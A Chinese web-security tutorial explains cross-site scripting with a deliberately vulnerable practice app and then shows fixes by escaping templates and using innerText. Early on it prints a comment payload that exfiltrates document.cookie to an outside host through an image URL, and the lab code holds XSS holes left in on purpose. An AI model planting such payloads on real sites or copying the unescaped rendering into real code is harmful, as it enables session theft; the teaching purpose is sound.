现代 Web 网页通常都是动态的,内容根据数据库来生成。举个例子,您在某个网站上发表一条评论,评论内容会保存在数据库中;当您或其他用户浏览评论时,后端需要查询数据库,最终生成可供浏览的网页。
根据数据生成网页,就是网页渲染,通常可以分为两种:
- 服务端渲染,即在后端渲染好 HTML 页面,再返回给浏览器;
- 客户端渲染,即在前端通过 JS 脚本操作 DOM 节点,动态调整 HTML 网页;
不管采用哪种渲染方式,本质上都是将数据拼接在 HTML 网页,再呈现给用户。数据通常是由用户输入的,比如评论。如果被别有用心的人利用,注入恶意代码进行攻击,该怎么办呢?想想 SQL注入 攻击!
渲染 HTML 网页跟拼接 SQL 一样,也有可能被注入恶意代码进行攻击,这就是所谓的 跨站脚本( cross site scripting ),简称 XSS 。利用 XSS 漏洞,黑客可以在网站中输入恶意代码,最终被渲染到 HTML 网页,攻击浏览网页的用户。
攻击原理
假设有一个网页显示评论列表,由服务端负责渲染,模板如下:
1
2
3
4
5
6
|
{% for comment in comments %}
<div class="comment">
<p class="username">{{ comment.username }}</p>
<p class="content">{{ comment.content }}</p>
</div>
{% endfor %}
|
comments 是从数据库中查询得到的评论列表,模板引擎根据它循环生成每个评论的 HTML 结构,包括用户名,和评论内容。模板将用户名和评论内容都当成普通文本,直接渲染成一个 p 标签。
可万一用户输入的评论内容不是普通文本呢?猜猜如果笔者写下这个评论,其他用户看了之后会发生什么?
1
2
3
4
5
|
写得挺好的!
<img id="hacking" style="display: none;" >
<script>
document.querySelector('img[id="hacking"]').src = 'https://fasionchan.com/images/profile.png?data=' + encodeURIComponent(document.cookie)
</script>
|
根据网页模板,笔者的评论最终会渲染成这样的 HTML 结构:
1
2
3
4
5
6
7
8
9
10
|
<div class="comment">
<p class="username">fasion</p>
<p class="content">
写得挺好的!
<img id="hacking" style="display: none;" >
<script>
document.querySelector('img[id="hacking"]').src = 'https://fasionchan.com/images/profile.png?data=' + encodeURIComponent(document.cookie)
</script>
</p>
</div>
|
没错,笔者在评论中夹带了两个私货,一个不显示 img 标签和一个 script 脚本标签。每个浏览这条评论的用户,HTML 网页都会包含我精心炮制的两个标签。这两个标签一起合作,悄悄地偷用户的 cookie !
- script 标签中的代码执行,取出当前站点的所有 cookie 数据;
- 对 cookie 数据进行编码,然后作为查询参数 data 拼接到一个图片 URL 中;
- 用拼接出来的 URL 设置 img 图片标签的 src 属性,利用它对 URL 发起请求;
- 笔者配置服务器,将查询参数输出到日志,就可以等着冤大头用户将自己的 cookie 报上来;
- 拿到用户的 cookie ,就相当于拿到他的身份和权限,可以冒充它做各种操作;
由此可见,XSS 是一种跟 SQL 注入类似的典型代码注入攻击手段。只不过 XSS 按照 HTML 语法来注入,而后者则根据 SQL 语法来注入,本质都是一样的。
攻击实验
笔者提供了一个带有 XSS 隐患的 Web 应用 IdeaHub ,可以用来练习 XSS 攻击。如果您看过 SQL注入 一节,对它应该不会陌生。XSS 漏洞位于应用的首页,相信不难找出,这是首页的处理逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
@app.route("/", methods=['GET', 'POST'])
@catch_exception
@ensure_login
def home(current_user, db, cursor):
if request.method == 'POST':
cursor.execute('INSERT INTO Ideas (content, introducer_id, introduced_ts) values (?, ?, ?)', (
request.form['content'].strip(),
current_user['id'],
int(time.time()),
))
db.commit()
return redirect('/')
introducer_id = request.args.get('introducer_id')
if introducer_id:
cursor.execute('SELECT Ideas.*, username as introducer_username FROM Ideas LEFT JOIN Users Where Ideas.introducer_id=Users.id AND Users.id=? ORDER BY introduced_ts DESC', (introducer_id,))
else:
cursor.execute('SELECT Ideas.*, username as introducer_username FROM Ideas LEFT JOIN Users Where Ideas.introducer_id=Users.id ORDER BY introduced_ts DESC')
ideas = cursor.fetchall()
return render_template('home.txt', current_user=current_user, ideas=ideas)
|
这段代码可以处理 GET 和 POST 请求,其中 GET 请求从数据库中查询创意列表,然后渲染 home.txt
模板,得到用户可以浏览的首页内容;POST 请求将用户通过表单提交的创意保存到数据库。
home.txt
模板保存在变量 ideas 中的创意列表,逐一渲染每个创意的 HTML 结构:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<div class="ideas card">
{% for idea in ideas %}
<div class="idea">
<p class="username">{{ idea.introducer_username }}</p>
<p class="content">{{ idea.content }}</p>
<div class="operators">
{% if idea.introducer_id == current_user.id %}
<form action="/delete-idea/{{ idea.id }}" method="POST">
<input class="danger" type="submit" value="Delete">
</form>
{% endif %}
{% if idea.introducer_id != current_user.id %}
<form action="/reward" method="GET">
<input type="hidden" name="receiver_id" value="{{ idea.introducer_id }}">
<input class="primary" type="submit" value="Reward">
</form>
{% endif %}
</div>
</div>
{% endfor %}
</div>
|
注意到,创意内容作为一个段落被组织成一个 p 标签。如果用户处心积虑地在创意内容中输入 HTML 代码,系统若不加以处理,最终将被浏览器当做正常 HTML 解析并运行。
来到这,您应该找到攻击方式了!将实验环境跑起来发起你的攻击的吧!
实验环境
我将这个应用打包成一个镜像,只要安装了 Docker 环境,即可用这个命令一键启动:
1
|
docker run -it --rm -h IdeaHub -p 5000:5000 docker.io/fasionchan/ideahub:1.0
|
实验环境启动后,可以在屏幕中看到两个窗口:左边窗口跑着 Web 服务,可以看到它的日志输出;右边窗口是一个 shell 命令行,可以用来执行一些命令。
如何在不同窗口间进行切换呢? 我们来复习一下 tmux 窗口切换操作:
- 按下 tmux 功能键
Ctrl-B
;
- 再按下
Q
,这时每个窗口会出现一个数字;
- 按下窗口上的数字,即可切到对应的窗口;
这个 docker 命令将容器的服务端口 5000 映射到宿主机,因此只需在浏览器中输入 URL http://localhost:5000 ,即可访问部署好的应用,来到登录页。
已知系统中有 alice
、bill
、 eric
、lucy
等用户,可以随便选一个来登录。
用户 |
密码 |
alice |
alice123 |
bill |
bill123 |
eric |
eric123 |
lucy |
lucy123 |
攻击方式
笔者抛砖引玉,提供一个攻击示例:
1
2
|
I have a big idea!
<img onload="alert('XSS!')" src="https://fasionchan.com/images/profile.png" style="display: none">
|
发表创意时,夹带一个 img 图片标签,并通过 onload 属性执行一些 JS 代码。例子只是调用 alert 调起弹框提示,但理论上黑客可以利用它来执行任意恶意代码,劫持用户做一些不知情的操作。
这个创意发表后,首页会有弹框提示。您可以切换账号,模拟其他其他用户浏览网页,也可以看到弹框提示,说明恶意代码正在攻击其他用户。
防御手段
XSS 的根本原因跟 SQL 是类似的:数据中的字符构成 HTML 标签,使网页的结构发生改变。因此,防御手段也是类似的:
- 永远不要相信用户的输入;
- 对用户输入的内容进行 转义 ( escape )处理,防止普通文本被浏览器当做 HTML 标签来处理;
XSS 发生在网页的渲染环节,分为后端渲染和前端渲染两种,防御手段也略有不同。
后端渲染
以 IdeaHub 首页为例,它在后端使用 Jinja2 模板引擎来渲染 HTML 网页。但开发人员提供的 Jinja2 模板,没有对创意内容进行转义,造成 XSS 隐患。
通常,模板引擎都会 HTML 转义工具函数,以 Jinja2 为例,我们只对模板稍加修改,先对数据进行转义处理即可:
1
2
|
<p class="username">{{ idea.introducer_username | e }}</p>
<p class="content">{{ idea.content | e }}</p>
|
管道符 |
表示将数据传给后面的处理函数处理,处理函数 e
表示对数据进行 HTML 转义。HTML 转义将 <
、>
等有 HTML 语法的字符编码成 <
、>
这种形式。
您可以在实验环境中对模板稍加修改,然后刷新首页,验证 XSS 漏洞是否修复。
另外,渲染 HTML 模板时,我们总是需要对数据进行转义。因此,Jinja2 默认对后缀名为 .html
的模板启用 HTML 转义。
IdeaHub 首页模板后缀名,笔者故意写成 .txt
的,纯粹是为了演示 XSS 。其他页面模板后缀名都是 .html
,模板引擎已经默认帮我们做 HTML 转义了,也就杜绝了 XSS 漏洞。
现代研发框架已经很舒服了,基本不作就不会死,但研发人员还是要懂得这些底层原理。
如果没有使用 Web 框架或者模板渲染引擎,那就只能自己做 HTML 转义,以 Python 为例:
1
2
3
4
5
6
7
8
9
10
11
12
|
# 原文本
>>> text = '''I have a big idea!
<img onload="alert('XSS!')" src="https://fasionchan.com/images/profile.png" style="display: none">'''
>>> print(text)
I have a big idea!
<img onload="alert('XSS!')" src="https://fasionchan.com/images/profile.png" style="display: none">
# 调用html标准库中的escape函数对文本进行转义
>>> import html
>>> print(html.escape(text))
I have a big idea!
<img onload="alert('XSS!')" src="https://fasionchan.com/images/profile.png" style="display: none">
|
前端渲染
笔者提供了一个创意列表页,点击 List 菜单即可进入。这个页面通过 JS 在前端渲染网页结构,笔者在里面也藏了个 XSS 漏洞。点击查看网页源代码,看能否从 JS 代码中找到漏洞?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
function render_idea(idea) {
var dom = document.createElement('div');
dom.setAttribute('class', 'idea');
var name = document.createElement('p');
name.setAttribute('class', 'username');
name.innerHTML = idea.introducer_username;
dom.appendChild(name);
// idea content
var content = document.createElement('p');
content.setAttribute('class', 'content');
content.innerHTML = idea.content;
dom.appendChild(content);
return dom;
}
function render_ideas(ideas) {
var dom = document.createElement('div');
dom.setAttribute('class', 'ideas card');
ideas.forEach((idea) => {
dom.appendChild(render_idea(idea));
});
return dom;
}
let request = new XMLHttpRequest();
request.open('GET', '/api/ideas', true);
request.onreadystatechange = function() {
if (request.readyState === 4 && request.status === 200) {
var ideas = JSON.parse(request.responseText);
if (ideas && ideas.length > 0) {
document.querySelector('div[class="content"]').append(render_ideas(ideas))
}
}
}
request.send();
|
这段代码调用接口获取创意列表,然后根据数据动态生成 DOM 节点。注意到,创意内容被赋值到 p 标签的 innerHTML 属性,因此被浏览器当做 HTML 来处理。
修复这类问题的方法也很简单,只需将数据赋值给 DOM 节点的 innerText 属性即可:
1
|
content.innerText = idea.content;
|
这明确告诉浏览器,这部分数据为普通文本,不能将其当做 HTML 来处理。
尝试修改创意列表页的 JS 代码,修复其中的 XSS 漏洞,代码位于 templates/list.html 。
如果藏在创意中的 HTML 代码被浏览器当做普通文本直接显示,弹框消失,说明漏洞已经堵住了。
总结
本节,我们学习了 XSS 漏洞,它跟 SQL 注入非常类似:在数据中构造 HTML 标签,使其成为网页结构的一部分。因此,防御 XSS 漏洞的方法也很简单,只需 对数据加以转义 。
- 后端渲染时,优先利用模板引擎提供基础设施来转义;
- 后端渲染时,尽量不要自己手工渲染网页,迫不得已时记得对数据进行 HTML 转义;
- 前端渲染时,数据更新 DOM 节点 innerText 属性,而不能更新 innerHTML 属性;
【小菜学网络】系列文章首发于公众号【小菜学编程】,敬请关注: